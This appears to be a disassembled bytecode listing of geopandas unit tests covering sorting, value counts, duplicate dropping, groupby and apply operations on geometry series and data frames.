LOAD_CONST 0 LOAD_CONST 2 CALL_FUNCTION BUILD_LIST CALL_FUNCTION STORE_FAST s LOAD_FAST s LOAD_METHOD sort_values CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_ATTR index LOAD_METHOD tolist CALL_METHOD LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_ATTR sort_values LOAD_CONST False LOAD_CONST ('ascending',) CALL_FUNCTION STORE_FAST res2 LOAD_FAST res2 LOAD_ATTR index LOAD_METHOD tolist CALL_METHOD LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 0 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_geoseries_equal LOAD_FAST s LOAD_ATTR iloc LOAD_CONST None LOAD_CONST 0 BUILD_SLICE BINARY_SUBSCR LOAD_METHOD sort_values CALL_METHOD LOAD_FAST s LOAD_ATTR iloc LOAD_CONST None LOAD_CONST 0 BUILD_SLICE BINARY_SUBSCR CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION LOAD_CONST None LOAD_GLOBAL Point CALL_FUNCTION LOAD_GLOBAL Point LOAD_CONST 1 LOAD_CONST 1 CALL_FUNCTION BUILD_LIST CALL_FUNCTION STORE_FAST s LOAD_FAST s LOAD_METHOD sort_values CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_ATTR index LOAD_METHOD tolist CALL_METHOD LOAD_CONST 2 LOAD_CONST 0 LOAD_CONST 3 LOAD_CONST 1 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_ATTR sort_values LOAD_CONST False LOAD_CONST ('ascending',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_ATTR index LOAD_METHOD tolist CALL_METHOD LOAD_CONST 3 LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_ATTR sort_values LOAD_CONST 'first' LOAD_CONST ('na_position',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_ATTR index LOAD_METHOD tolist CALL_METHOD LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 0 LOAD_CONST 3 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_ATTR sort_values LOAD_CONST False LOAD_CONST 'first' LOAD_CONST ('ascending', 'na_position') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_ATTR index LOAD_METHOD tolist CALL_METHOD LOAD_CONST 1 LOAD_CONST 3 LOAD_CONST 0 LOAD_CONST 2 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL GeoSeries LOAD_CONST None LOAD_CONST None LOAD_CONST None BUILD_LIST CALL_FUNCTION STORE_FAST s LOAD_FAST s LOAD_METHOD sort_values CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_ATTR index LOAD_METHOD tolist CALL_METHOD LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point CALL_FUNCTION LOAD_GLOBAL Point CALL_FUNCTION LOAD_GLOBAL Point CALL_FUNCTION BUILD_LIST CALL_FUNCTION STORE_FAST s LOAD_FAST s LOAD_METHOD sort_values CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_ATTR index LOAD_METHOD tolist CALL_METHOD LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point CALL_FUNCTION LOAD_CONST None LOAD_GLOBAL Point CALL_FUNCTION BUILD_LIST CALL_FUNCTION STORE_FAST s LOAD_FAST s LOAD_METHOD sort_values CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_ATTR index LOAD_METHOD tolist CALL_METHOD LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION LOAD_GLOBAL Point LOAD_CONST 2 LOAD_CONST 2 CALL_FUNCTION BUILD_LIST CALL_FUNCTION STORE_FAST s LOAD_GLOBAL from_shapely LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION LOAD_GLOBAL Point LOAD_CONST 2 LOAD_CONST 2 CALL_FUNCTION BUILD_LIST CALL_FUNCTION STORE_FAST exp LOAD_GLOBAL assert_array_equal LOAD_FAST s LOAD_METHOD unique CALL_METHOD LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL compat LOAD_ATTR PANDAS_GE_14 POP_JUMP_IF_FALSE LOAD_GLOBAL from_shapely LOAD_FAST index CALL_FUNCTION RETURN_VALUE LOAD_FAST index RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION LOAD_GLOBAL Point LOAD_CONST 1 LOAD_CONST 1 CALL_FUNCTION LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION BUILD_LIST CALL_FUNCTION STORE_FAST s LOAD_FAST s LOAD_METHOD value_counts CALL_METHOD STORE_FAST res LOAD_GLOBAL compat LOAD_ATTR PANDAS_GE_20 POP_JUMP_IF_FALSE LOAD_CONST 'count' STORE_FAST name JUMP_FORWARD to 56 LOAD_CONST None STORE_FAST name LOAD_GLOBAL compat LOAD_METHOD ignore_shapely2_warnings CALL_METHOD SETUP_WITH to 110 POP_TOP LOAD_GLOBAL pd LOAD_ATTR Series LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST LOAD_GLOBAL pd14_compat_index LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION LOAD_GLOBAL Point LOAD_CONST 1 LOAD_CONST 1 CALL_FUNCTION BUILD_LIST CALL_FUNCTION LOAD_FAST name LOAD_CONST ('index', 'name') CALL_FUNCTION STORE_FAST exp POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL assert_series_equal LOAD_FAST res LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION LOAD_GLOBAL Point LOAD_CONST 1 LOAD_CONST 1 CALL_FUNCTION LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION BUILD_LIST LOAD_CONST 'EPSG:4326' LOAD_CONST ('crs',) CALL_FUNCTION STORE_FAST s2 LOAD_FAST s2 LOAD_METHOD value_counts CALL_METHOD STORE_FAST res2 LOAD_GLOBAL assert_series_equal LOAD_FAST res2 LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_GLOBAL compat LOAD_ATTR PANDAS_GE_14 POP_JUMP_IF_FALSE LOAD_FAST s2 LOAD_METHOD value_counts CALL_METHOD LOAD_ATTR index LOAD_ATTR array LOAD_ATTR crs LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION LOAD_GLOBAL LineString LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST LOAD_CONST 2 LOAD_CONST 2 BUILD_LIST BUILD_LIST CALL_FUNCTION LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION BUILD_LIST CALL_FUNCTION STORE_FAST s3 LOAD_FAST s3 LOAD_METHOD value_counts CALL_METHOD STORE_FAST res3 LOAD_GLOBAL pd14_compat_index LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION LOAD_GLOBAL LineString LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST LOAD_CONST 2 LOAD_CONST 2 BUILD_LIST BUILD_LIST CALL_FUNCTION BUILD_LIST CALL_FUNCTION STORE_FAST index LOAD_GLOBAL compat LOAD_METHOD ignore_shapely2_warnings CALL_METHOD SETUP_WITH to 326 POP_TOP LOAD_GLOBAL pd LOAD_ATTR Series LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST LOAD_FAST index LOAD_FAST name LOAD_CONST ('index', 'name') CALL_FUNCTION STORE_FAST exp3 POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL assert_series_equal LOAD_FAST res3 LOAD_FAST exp3 CALL_FUNCTION POP_TOP LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION LOAD_CONST None LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION BUILD_LIST CALL_FUNCTION STORE_FAST s4 LOAD_FAST s4 LOAD_ATTR value_counts LOAD_CONST True LOAD_CONST ('dropna',) CALL_FUNCTION STORE_FAST res4 LOAD_GLOBAL compat LOAD_METHOD ignore_shapely2_warnings CALL_METHOD SETUP_WITH to 424 POP_TOP LOAD_GLOBAL pd LOAD_ATTR Series LOAD_CONST 2 BUILD_LIST LOAD_GLOBAL pd14_compat_index LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION BUILD_LIST CALL_FUNCTION LOAD_FAST name LOAD_CONST ('index', 'name') CALL_FUNCTION STORE_FAST exp4_dropna POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL assert_series_equal LOAD_FAST res4 LOAD_FAST exp4_dropna CALL_FUNCTION POP_TOP LOAD_GLOBAL compat LOAD_METHOD ignore_shapely2_warnings CALL_METHOD SETUP_WITH to 488 POP_TOP LOAD_GLOBAL pd LOAD_ATTR Series LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST LOAD_GLOBAL pd14_compat_index LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION LOAD_CONST None BUILD_LIST CALL_FUNCTION LOAD_FAST name LOAD_CONST ('index', 'name') CALL_FUNCTION STORE_FAST exp4_keepna POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST s4 LOAD_ATTR value_counts LOAD_CONST False LOAD_CONST ('dropna',) CALL_FUNCTION STORE_FAST res4_keepna LOAD_GLOBAL assert_series_equal LOAD_FAST res4_keepna LOAD_FAST exp4_keepna CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION BUILD_LIST CALL_FUNCTION STORE_FAST dups LOAD_FAST dups LOAD_METHOD drop_duplicates CALL_METHOD STORE_FAST dropped LOAD_GLOBAL len LOAD_FAST dropped CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 3 STORE_FAST gdf_len LOAD_GLOBAL GeoDataFrame LOAD_CONST <code object <listcomp> at 0x7faa758269c0, file "f.py", line 530> LOAD_CONST 'test_drop_duplicates_frame.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_FAST gdf_len CALL_FUNCTION GET_ITER CALL_FUNCTION LOAD_GLOBAL range LOAD_FAST gdf_len CALL_FUNCTION LOAD_CONST ('geometry', 'value1') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_FAST dup_gdf LOAD_FAST dup_gdf LOAD_ATTR drop_duplicates LOAD_CONST 'geometry' LOAD_CONST ('subset',) CALL_FUNCTION STORE_FAST dropped_geometry LOAD_GLOBAL len LOAD_FAST dropped_geometry CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST dup_gdf LOAD_METHOD drop_duplicates CALL_METHOD STORE_FAST dropped_all LOAD_GLOBAL len LOAD_FAST dropped_all CALL_FUNCTION LOAD_FAST gdf_len COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 STORE_FAST _ LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST df LOAD_METHOD groupby LOAD_CONST 'value2' CALL_METHOD LOAD_METHOD count CALL_METHOD STORE_FAST res LOAD_GLOBAL pd LOAD_METHOD DataFrame LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST ('geometry', 'value1', 'value2') BUILD_CONST_KEY_MAP CALL_METHOD LOAD_METHOD set_index LOAD_CONST 'value2' CALL_METHOD STORE_FAST exp LOAD_GLOBAL assert_frame_equal LOAD_FAST res LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_GLOBAL compat LOAD_ATTR PANDAS_GE_20 POP_JUMP_IF_TRUE LOAD_FAST df LOAD_METHOD groupby LOAD_CONST 'value2' CALL_METHOD LOAD_METHOD sum CALL_METHOD STORE_FAST res JUMP_FORWARD to 100 LOAD_FAST df LOAD_METHOD groupby LOAD_CONST 'value2' CALL_METHOD LOAD_ATTR sum LOAD_CONST True LOAD_CONST ('numeric_only',) CALL_FUNCTION STORE_FAST res LOAD_GLOBAL pd LOAD_ATTR DataFrame LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST ('value1', 'value2') BUILD_CONST_KEY_MAP LOAD_CONST 'int64' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_METHOD set_index LOAD_CONST 'value2' CALL_METHOD STORE_FAST exp LOAD_GLOBAL assert_frame_equal LOAD_FAST res LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_FAST df LOAD_METHOD groupby LOAD_CONST 'value2' CALL_METHOD LOAD_CONST 'geometry' BINARY_SUBSCR LOAD_METHOD apply LOAD_CONST <code object <lambda> at 0x7faa758260c0, file "f.py", line 554> LOAD_CONST 'test_groupby.<locals>.<lambda>' MAKE_FUNCTION CALL_METHOD STORE_FAST res LOAD_GLOBAL GeoSeries LOAD_GLOBAL shapely LOAD_ATTR geometry LOAD_METHOD MultiPoint LOAD_CONST (0, 0) LOAD_CONST (2, 2) BUILD_LIST CALL_METHOD LOAD_GLOBAL Point LOAD_CONST 1 LOAD_CONST 1 CALL_FUNCTION BUILD_LIST LOAD_GLOBAL pd LOAD_ATTR Index LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST 'value2' LOAD_CONST ('name',) CALL_FUNCTION LOAD_CONST 'geometry' LOAD_CONST ('index', 'name') CALL_FUNCTION STORE_FAST exp LOAD_GLOBAL assert_series_equal LOAD_FAST res LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_FAST df LOAD_METHOD groupby LOAD_CONST 'value2' CALL_METHOD LOAD_CONST 'geometry' BINARY_SUBSCR LOAD_METHOD apply LOAD_CONST <code object <lambda> at 0x7faa758264b0, file "f.py", line 563> LOAD_CONST 'test_groupby.<locals>.<lambda>' MAKE_FUNCTION CALL_METHOD STORE_FAST res LOAD_GLOBAL pd LOAD_ATTR Series LOAD_CONST 0.0 LOAD_CONST 0.0 BUILD_LIST LOAD_GLOBAL pd LOAD_ATTR Index LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST 'value2' LOAD_CONST ('name',) CALL_FUNCTION LOAD_CONST 'geometry' LOAD_CONST ('index', 'name') CALL_FUNCTION STORE_FAST exp LOAD_GLOBAL assert_series_equal LOAD_FAST res LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST x LOAD_ATTR unary_union RETURN_VALUE LOAD_FAST x LOAD_ATTR unary_union LOAD_ATTR area RETURN_VALUE LOAD_FAST df LOAD_METHOD groupby LOAD_CONST 'value2' CALL_METHOD STORE_FAST g LOAD_FAST g LOAD_METHOD get_group LOAD_CONST 1 CALL_METHOD STORE_FAST res LOAD_GLOBAL isinstance LOAD_FAST res LOAD_GLOBAL GeoDataFrame CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST df LOAD_ATTR loc LOAD_CONST 0 LOAD_CONST 2 BUILD_LIST BINARY_SUBSCR STORE_FAST exp LOAD_GLOBAL assert_frame_equal LOAD_FAST res LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL GeoDataFrame LOAD_DEREF geometry_name LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION LOAD_GLOBAL Point LOAD_CONST 1 LOAD_CONST 1 CALL_FUNCTION LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION BUILD_LIST LOAD_CONST 'value1' LOAD_GLOBAL np LOAD_ATTR arange LOAD_CONST 3 LOAD_CONST 'int64' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_CONST 'value2' LOAD_GLOBAL np LOAD_ATTR array LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST LOAD_CONST 'int64' LOAD_CONST ('dtype',) CALL_FUNCTION BUILD_MAP LOAD_DEREF crs LOAD_DEREF geometry_name LOAD_CONST ('crs', 'geometry') CALL_FUNCTION STORE_FAST df BUILD_MAP STORE_FAST kwargs LOAD_GLOBAL compat LOAD_ATTR PANDAS_GE_22 POP_JUMP_IF_FALSE LOAD_GLOBAL dict LOAD_CONST False LOAD_CONST ('include_groups',) CALL_FUNCTION STORE_FAST kwargs LOAD_CLOSURE crs BUILD_TUPLE LOAD_CONST <code object func at 0x7faa758268a0, file "f.py", line 595> LOAD_CONST 'test_groupby_metadata.<locals>.func' MAKE_FUNCTION STORE_FAST func LOAD_FAST df LOAD_METHOD groupby LOAD_CONST 'value2' CALL_METHOD LOAD_ATTR apply LOAD_FAST func BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_DEREF geometry_name LOAD_CONST 'geometry' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL compat LOAD_ATTR PANDAS_GE_21 POP_JUMP_IF_FALSE JUMP_FORWARD to 150 LOAD_GLOBAL compat LOAD_ATTR PANDAS_GE_20 POP_JUMP_IF_FALSE LOAD_GLOBAL compat LOAD_ATTR PANDAS_GE_22 POP_JUMP_IF_TRUE LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL AttributeError CALL_METHOD SETUP_WITH to 196 POP_TOP LOAD_FAST df LOAD_METHOD groupby LOAD_CONST 'value2' CALL_METHOD LOAD_DEREF geometry_name LOAD_CONST 'value1' BUILD_LIST BINARY_SUBSCR LOAD_METHOD apply LOAD_FAST func CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY JUMP_FORWARD to 228 LOAD_FAST df LOAD_METHOD groupby LOAD_CONST 'value2' CALL_METHOD LOAD_DEREF geometry_name LOAD_CONST 'value1' BUILD_LIST BINARY_SUBSCR LOAD_METHOD apply LOAD_FAST func CALL_METHOD POP_TOP LOAD_FAST df LOAD_METHOD groupby LOAD_CONST 'value2' CALL_METHOD LOAD_ATTR apply LOAD_CLOSURE geometry_name BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7faa75826780, file "f.py", line 609> LOAD_CONST 'test_groupby_metadata.<locals>.<lambda>' MAKE_FUNCTION BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION STORE_FAST res LOAD_GLOBAL compat LOAD_ATTR PANDAS_GE_22 EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST STORE_FAST take_indices LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST STORE_FAST value_right JUMP_FORWARD to 322 LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST STORE_FAST take_indices LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST STORE_FAST value_right LOAD_FAST df LOAD_METHOD take LOAD_FAST take_indices CALL_METHOD LOAD_ATTR set_index LOAD_CONST 'value2' LOAD_GLOBAL compat LOAD_ATTR PANDAS_GE_22 LOAD_CONST True LOAD_CONST ('drop', 'append') CALL_FUNCTION LOAD_METHOD swaplevel CALL_METHOD LOAD_ATTR rename LOAD_CONST 'value1' LOAD_CONST 'value1_left' BUILD_MAP LOAD_CONST ('columns',) CALL_FUNCTION LOAD_ATTR assign LOAD_FAST value_right LOAD_CONST ('value1_right',) CALL_FUNCTION STORE_FAST expected LOAD_GLOBAL assert_geodataframe_equal LOAD_FAST res LOAD_ATTR drop LOAD_CONST 'index_right' BUILD_LIST LOAD_CONST ('columns',) CALL_FUNCTION LOAD_FAST expected CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST group LOAD_GLOBAL GeoDataFrame CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST group LOAD_ATTR crs LOAD_DEREF crs COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL geopandas LOAD_ATTR sjoin LOAD_FAST x LOAD_FAST x LOAD_DEREF geometry_name LOAD_CONST 'value1' BUILD_LIST BINARY_SUBSCR LOAD_CONST 'inner' LOAD_CONST ('how',) CALL_FUNCTION RETURN_VALUE LOAD_CONST <code object geom_func at 0x7faa75826a50, file "f.py", line 631> LOAD_CONST 'test_apply.<locals>.geom_func' MAKE_FUNCTION STORE_FAST geom_func LOAD_FAST s LOAD_METHOD apply LOAD_FAST geom_func CALL_METHOD STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL GeoSeries CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_geoseries_equal LOAD_FAST result LOAD_FAST s CALL_FUNCTION POP_TOP LOAD_CONST <code object numeric_func at 0x7faa75826e40, file "f.py", line 639> LOAD_CONST 'test_apply.<locals>.numeric_func' MAKE_FUNCTION STORE_FAST numeric_func LOAD_FAST s LOAD_METHOD apply LOAD_FAST numeric_func CALL_METHOD STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL GeoSeries CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_series_equal LOAD_FAST result LOAD_GLOBAL pd LOAD_METHOD Series LOAD_CONST 0.0 LOAD_CONST 1.0 LOAD_CONST 2.0 BUILD_LIST CALL_METHOD CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST geom LOAD_GLOBAL Point CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST geom RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST geom LOAD_GLOBAL Point CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST geom LOAD_ATTR x RETURN_VALUE LOAD_FAST df LOAD_ATTR loc LOAD_CONST 0 BUILD_LIST LOAD_CONST 'geometry' BUILD_TUPLE BINARY_SUBSCR STORE_FAST subset LOAD_FAST subset LOAD_METHOD apply LOAD_CONST <code object <lambda> at 0x7faa75826030, file "f.py", line 650> LOAD_CONST 'test_apply_loc_len1.<locals>.<lambda>' MAKE_FUNCTION CALL_METHOD STORE_FAST result LOAD_FAST subset LOAD_ATTR is_empty STORE_FAST expected LOAD_GLOBAL np LOAD_ATTR testing LOAD_METHOD assert_allclose LOAD_FAST result LOAD_FAST expected CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST geom LOAD_ATTR is_empty RETURN_VALUE LOAD_GLOBAL compat LOAD_ATTR PANDAS_GE_21 POP_JUMP_IF_TRUE LOAD_GLOBAL warnings LOAD_ATTR catch_warnings LOAD_CONST True LOAD_CONST ('record',) CALL_FUNCTION STORE_FAST recorder JUMP_FORWARD to 28 LOAD_GLOBAL pytest LOAD_METHOD warns CALL_METHOD STORE_FAST recorder LOAD_FAST recorder SETUP_WITH to 58 STORE_FAST record LOAD_FAST s LOAD_ATTR apply LOAD_CONST <code object <lambda> at 0x7faa75826c00, file "f.py", line 662> LOAD_CONST 'test_apply_convert_dtypes_keyword.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST True LOAD_CONST () LOAD_CONST ('convert_dtype', 'args') CALL_FUNCTION STORE_FAST res POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL assert_geoseries_equal LOAD_FAST res LOAD_FAST s CALL_FUNCTION POP_TOP LOAD_GLOBAL compat LOAD_ATTR PANDAS_GE_21 POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST record CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'the convert_dtype parameter' LOAD_GLOBAL str LOAD_FAST record LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR message CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 136 LOAD_GLOBAL len LOAD_FAST record CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST x RETURN_VALUE LOAD_FAST crs POP_JUMP_IF_FALSE LOAD_FAST df LOAD_METHOD set_crs LOAD_FAST crs CALL_METHOD STORE_FAST df LOAD_FAST df LOAD_ATTR apply LOAD_CONST <code object <lambda> at 0x7faa747564b0, file "f.py", line 676> LOAD_CONST 'test_apply_no_geometry_result.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST result LOAD_GLOBAL type LOAD_FAST result CALL_FUNCTION LOAD_GLOBAL pd LOAD_ATTR DataFrame COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST df LOAD_METHOD astype LOAD_GLOBAL str CALL_METHOD STORE_FAST expected LOAD_GLOBAL assert_frame_equal LOAD_FAST result LOAD_FAST expected CALL_FUNCTION POP_TOP LOAD_FAST df LOAD_ATTR apply LOAD_CONST <code object <lambda> at 0x7faa74756f60, file "f.py", line 681> LOAD_CONST 'test_apply_no_geometry_result.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST 1 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST result LOAD_GLOBAL type LOAD_FAST result CALL_FUNCTION LOAD_GLOBAL pd LOAD_ATTR DataFrame COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_frame_equal LOAD_FAST result LOAD_FAST expected CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST col LOAD_METHOD astype LOAD_GLOBAL str CALL_METHOD RETURN_VALUE LOAD_FAST col LOAD_METHOD astype LOAD_GLOBAL str CALL_METHOD RETURN_VALUE LOAD_FAST df LOAD_METHOD rename_geometry LOAD_CONST 'geom' CALL_METHOD STORE_FAST df LOAD_FAST df LOAD_ATTR apply LOAD_CONST <code object <lambda> at 0x7faa74756390, file "f.py", line 688> LOAD_CONST 'test_apply_preserves_geom_col_name.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST result LOAD_FAST result LOAD_ATTR geometry LOAD_ATTR name LOAD_CONST 'geom' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError 